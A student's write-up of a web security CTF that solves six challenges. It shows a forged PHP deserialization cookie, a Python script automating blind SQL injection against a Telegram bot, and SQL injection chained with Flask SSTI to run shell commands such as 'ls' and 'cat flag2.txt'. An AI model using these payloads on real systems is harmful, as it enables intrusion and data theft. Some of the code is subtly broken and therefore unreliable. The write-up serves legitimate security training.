This was a CTF hosted by Cybertalents to the scholarship students who are taking the web security course , and I happen to be among the students taking the course, the CTF was a jeopardy-styled and participants were to only participate as individuals and not as a team, The challenge that took me most of my time spent on and I love alot from this CTF is the `Notes`, most of the other challenges were easy except for `Notes` and `Grocery Bot`.
The Scoreboard at the time I was doing this writeup:

### First Challenge: one click (general information)
Description:
```text
Type of malicious exploit of a website where unauthorized commands are submitted from a user that the web application trusts .
```
This was an easy one , right of the bat the answer was `CSRF`.
Answer:
```text
CSRF
```
### Second Challenge: Where is the flag (Web Security)
Description:
```text
The flag is hidden some where and developer claimed its protected .. do you have another opinion ?
http://35.240.62.111/whereisflag/
```
Opening the link we are given , I saw this:

I decided to take a look at the source code and finally I got the flag!, which didn't suprise me since it was rated easy;

```html
<h1>Hello World My Friend</h1>\
<!--
Can you see the flag
VGgzRmxhZzFzSDNyM0JyMA%3D%3D
-->
```
but we are given a weird string that doesn't look like an obvious flag so looking at the `%3D` it means its url encoded , I encoded it and got `=` which means the flag is `VGgzRmxhZzFzSDNyM0JyMA==` so now we have to decode the base64 string to a readable format :
```bash
╭─tahaafarooq@cyberwarriors in ~/Desktop/cybertalents/web_scholarship_ctf
╰$ echo "VGgzRmxhZzFzSDNyM0JyMA==" | base64 -d
Th3Flag1sH3r3Br0%
```
Answer
```text
Th3Flag1sH3r3Br0
```
### Third Challenge: Catchtoka (Web Security)
Description:
```text
Can you catch toka
http://3.67.188.237:5000/
```
Opening the link I get a page that tells me `SORRY, toka only talks German :)`

I decided to look at the headers and I found something interesting and it gave me an Idea that I had to try:
```text
GET / HTTP/1.1
Host: 3.67.188.237:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
DNT: 1
Cache-Control: max-age=0
```
Looking at `Accept-Language: en-US,en;q=0.5` it made me think of trying to change the locale to germany type which would be `de` , doing that and sending the request gave me the flag !
```text
GET / HTTP/1.1
Host: 3.67.188.237:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
DNT: 1
```

Answer:
```text
FLAG{HE4DERS_M4G1C}
```
### Fourth Challenge: Wanna some Biscuits(Web Security)
Description:
```text
We believe we made a good job protecting our website, can you bypass our controls.
http://35.197.254.240/wantbiscuits/
```
This was actually a fun one , opening the link from the browser I was faced with `Hello anonymous` , I tried reading the source code but nothing important from there then decided to check the cookies ~ since it was having the word `Biscuits` in it's title :) , and I found a base64 encoded string in `userCookie`

This was the string that was inside the cookie , I decided to decode it and see wat was it, I hoped it was the flag but unfortunately it wasn't , but it was something else that was a better lead:
```text
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJOYW1lIjtzOjk6ImFub255bW91cyI7czo3OiJpc0FkbWluIjtiOjA7fQ%3D%3D
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJOYW1lIjtzOjk6ImFub255bW91cyI7czo3OiJpc0FkbWluIjtiOjA7fQ==
```
well decoding it gave me a cookie with definitions of why it said hello anonymous earlier when I visited it:
```text
╭─tahaafarooq@cyberwarriors in ~/Desktop/cybertalents/web_scholarship_ctf
╰$ echo "Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJOYW1lIjtzOjk6ImFub255bW91cyI7czo3OiJpc0FkbWluIjtiOjA7fQ==" | base64 -d
O:4:"User":2:{s:8:"userName";s:9:"anonymous";s:7:"isAdmin";b:0;}%
```
So I directly knew that the vulnerability was Insecure Deserialization , and I had to work on it and grab my flag, and this was my cookie to get in as admin:
```text
O:4:"User":2:{s:8:"userName";s:9:"admin";s:7:"isAdmin";b:1;}
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJOYW1lIjtzOjU6ImFkbWluIjtzOjc6ImlzQWRtaW4iO2I6MTt9
```
Put it in the cookie as value of userCookie and then refreshed the page and it gave me :
```text
Hello admin
You got me, here's the flag: FLAG{REALLY!!_IN_COOKIES}
```
Answer:
```text
FLAG{REALLY!!_IN_COOKIES}
```
### Fifth Challenge: Grocery Bot (Web Security)
Description:
```text
Its Shopping day
Telegram alias: @ctgrocerybot
```
So it's a telegram bot , I was like wow, I thought this had to do something with some API stuff but actually I was wrong !

so we got a list of commands `/price <item>`. `/list`, `/help` or `/start`, I requested a list using `/list` command and I got:

Now I tried checking the price of the flag to see what it'll give out as response ;

then I tried different methodologies but was unable to get anything useful back I tried to perform a command execution like `/price flag;ls` but nothing worked , I then tried some sql payload "as if it'll work on a telegram bot :}

this gave me an error which told me something ain't right , and when I tried this payload `/price ' or 1=1 limit 1 --` it gave me back the price of banana which means I called for the first item in the table as the payload means itself :

Obviously it's blind sqli , at this point trying to understand and learn where the flag is , after hours of research I came accross a portswigger lab that explained about conditional responses in blind sqli and they had a lab for it : https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses ,
so this meant I had to try it out , I performed the injection manually letter by letter until I got the flag , but for this writeup i'll just link a script that was made by a friend of mine which will automate the sqli (conditional responses) until the flag is found!
###### Automation Script (GROCERY BOT) ~ python
Credit Goes To [Sal(kharon)](https://twitter.com/masterSal_)
```python
#!/usr/bin/env python3
# Author: Kharon
from telethon.sync import TelegramClient, events
import time
import string
api_id = 0
api_hash = ""
charlists = string.ascii_lowercase + string.digits + "{}_@$#!" + string.ascii_uppercase + string.digits
SLEEP = 0.5
MSG = "the item you requested is not found"
CHAT = "@ctgrocerybot"
flag = ""
with TelegramClient('name', api_id, api_hash) as client:
for pos in range(12, 42):
for char in charlists:
payload = "/price flag' AND (SELECT CASE WHEN (SUBSTR(flag," + str(pos) + ",1)='" + char + "') THEN 1/0 ELSE 'a' END FROM flags)='a"
print("--> sending payload: " payload)
client.send_message(CHAT, payload)
# get the last message
last_message = client.get_messages(CHAT)
if last_message[0].message == MSG:
flag += char
print("--> flag: " + flag)
break
print("--> sleeping for %d..." % SLEEP)
time.sleep(SLEEP)
print("--> flag: " + flag)
client.run_until_disconnected()
```
Answer:
```text
FLAG{sql_1nj3c7i0n_c4n_h4pp3n_t0_b0ts_t0o}
```
### Sixth Challenge: Notes (Web Security)
Description:
```text
The admin of this website has just learned programming and he really likes Flask, whatcan you find in this website?
http://3.69.43.171:5000/
```
Unfortunately , the website was taken down by the time i am doing this writeup but the main interesting parts of it was that it has 2 parts of the flag one is inside the database and one is in the filesysteml, it is vulnerable to sqli at the `/notes/` , we were given list of notes written by the administrator that can be read by everyone but when those notes were clicked it opened to `/notes/T05FRUUK` where as `T05FRUUK` is base64 for ONEEE, where as `ONEEE` was a title of the note, so I decided to write a payload since it was a flask webapp basically it would run with sqlite , so I wrote a payload as follows ` ' UNION SELECT tbl_name FROM sqlite_master;--`and I encoded it to base64 which gave me `JyBVTklPTiBTRUxFQ1QgdGJsX25hbWUgRlJPTSBzcWxpdGVfbWFzdGVyOy0tCg==` I sent a request in the web with uri as `/notes/JyBVTklPTiBTRUxFQ1QgdGJsX25hbWUgRlJPTSBzcWxpdGVfbWFzdGVyOy0tCg==` and it gave me `flag` which means there is a table named flags so what I did then was to create a payload to read all columns in flag table,`'UNION SELECT * FROM flags;--` encoded it to base64 and got `J1VOSU9OIFNFTEVDVCAqIEZST00gZmxhZ3M7LS0` and I sent a request it on the web `/notes/J1VOSU9OIFNFTEVDVCAqIEZST00gZmxhZ3M7LS0` and it gave me the partial first part of the flag, where as I was left to find the other part of the flag
Second Part :
For the second part of the flag we was given a hint that it's in the file system so , I did a bit of lateral movement tried getting shell using slqi but no luck , so then I remembered that it's flask and why shouldn't I try SSTI (Server Side Template Injection), I decided to try my shot in SSTI , I tried testing if SSTI is really there by going directly and writing the payload infront of /notes/ but it brought an error, I realised it wouldn't work because of base64, and not only base64 it's also sqli , so my flow to getting the second part was;
```text
BASE64 -> SQLi -> SSTI
```
and I made the following payload :
```sql
'UNION SELECT '{{7*7}}' FROM flags-- --- --- -
```
base64:
```text
J1VOSU9OIFNFTEVDVCAne3s3Kjd9fScgRlJPTSBmbGFncy0tIC0tLSAtLS0gLQo=
```
sent a request on web through uri `/notes/J1VOSU9OIFNFTEVDVCAne3s3Kjd9fScgRlJPTSBmbGFncy0tIC0tLSAtLS0gLQo=` and I got 49 , so our way in here was SSTI, for that I decided to perform RCE using SSTI with this payload :
```sql
' UNION SELECT '{{config.class.init.globals["os"].popen("ls").read()}}'-- --- --- -
```
base64:
```text
JyBVTklPTiBTRUxFQ1QgJ3t7Y29uZmlnLmNsYXNzLmluaXQuZ2xvYmFsc1tvc10ucG9wZW4obHMpLnJlYWQoKX19Jy0tIC0tLSAtLS0gLQo=
```
Running this on the web in uri `/notes/JyBVTklPTiBTRUxFQ1QgJ3t7Y29uZmlnLmNsYXNzLmluaXQuZ2xvYmFsc1tvc10ucG9wZW4obHMpLnJlYWQoKX19Jy0tIC0tLSAtLS0gLQo=` it gave me a list of files inside the current directory and among them was `flag2.txt` so now I just had to cat it out and complete my flag with this payload:
```sql
' UNION SELECT '{{config.class.init.globals["os"].popen("cat flag2.txt").read()}}'-- --- --- -
```
base64:
```text
JyBVTklPTiBTRUxFQ1QgJ3t7Y29uZmlnLmNsYXNzLmluaXQuZ2xvYmFsc1tvc10ucG9wZW4oY2F0IGZsYWcyLnR4dCkucmVhZCgpfX0nLS0gLS0tIC0tLSAtCg==
```
running it on the web with uri `/notes/JyBVTklPTiBTRUxFQ1QgJ3t7Y29uZmlnLmNsYXNzLmluaXQuZ2xvYmFsc1tvc10ucG9wZW4oY2F0IGZsYWcyLnR4dCkucmVhZCgpfX0nLS0gLS0tIC0tLSAtCg==` I got the second part of the flag and combining it with the first part we get the flag!
Answer:
```text
FLAG{8f94cf148a9f01a3745e12f1fc6f8e419dc0fb08}
```
And that was all for the CTF !
CONTACTS: `@tahaafarooq#00001(Discord)`, [@tahaafarooq(twitter)](https://twitter.com/tahaafarooq)